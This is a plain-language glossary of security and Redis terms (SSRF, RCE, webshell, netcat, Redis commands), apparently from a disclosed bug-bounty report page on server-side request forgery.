  • Misconfigured proxy: a proxy set up in a way that forwards requests to places it should not.
  • netcat (nc): a small tool that sends raw text over a network connection.
  • NoSQL: a database that does not use the traditional table-and-row model.
  • PATH: the environment variable listing the folders the system searches for programs.
  • Payload: the code or data an attacker wants to get executed or stored.
  • PHP: a programming language widely used to build websites; a web server runs .php files as programs.
  • pidfile: a small file recording the process ID of a running program.
  • Port: a numbered door on a computer behind which a service listens; Redis uses 6379 by default.
  • POST: an HTTP request type used to submit data, such as a form, in its body.
  • Proxy: a middleman server that forwards requests between you and the internet.
  • QUIT: the Redis command that closes a connection.
  • RAM: a computer's working memory, fast but lost when power goes off.
  • RCE (Remote Code Execution): getting your own code to run on someone else's server.
  • redis-cli: the official command-line client for Redis.
  • Redis: a fast database that keeps data in memory as key/value pairs.
  • Sandbox: a restricted environment that stops code from doing anything dangerous.
  • Seed: the starting value for a pseudo-random number generator; a fixed seed gives a fixed sequence.
  • Session cookie: a small piece of text a website gives your browser after you log in, so it can recognise you next time.
  • SET: a Redis command that stores a value under a key.
  • SHA-1 cracking: guessing the original input behind a SHA-1 fingerprint by trying many possibilities.
  • SHUTDOWN: a Redis command that stops the server.
  • Squid: a well-known proxy server program.
  • SSRF (Server-Side Request Forgery): a bug where a website can be made to send a request to an address you choose.
  • Standard input (STDIN): the stream of text a program reads when it expects input, here the Redis console.
  • Table: Lua's version of a dictionary, holding named values.
  • TCP: the underlying protocol that carries reliable connections between computers.
  • TIME: a Redis command that returns the server's current time.
  • Token: a piece of text that proves who you are, similar in purpose to a session cookie.
  • Virtual machine (VM): a simulated computer inside a computer, here the engine that runs Lua scripts.
  • Web root: the folder on a server whose files are served by the website.
  • Webshell: a file uploaded to a server that, when opened in a browser, runs commands on the server.

More by Nicolas Grégoire

View all

8 more disclosed reports, best first.

More from Meta

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.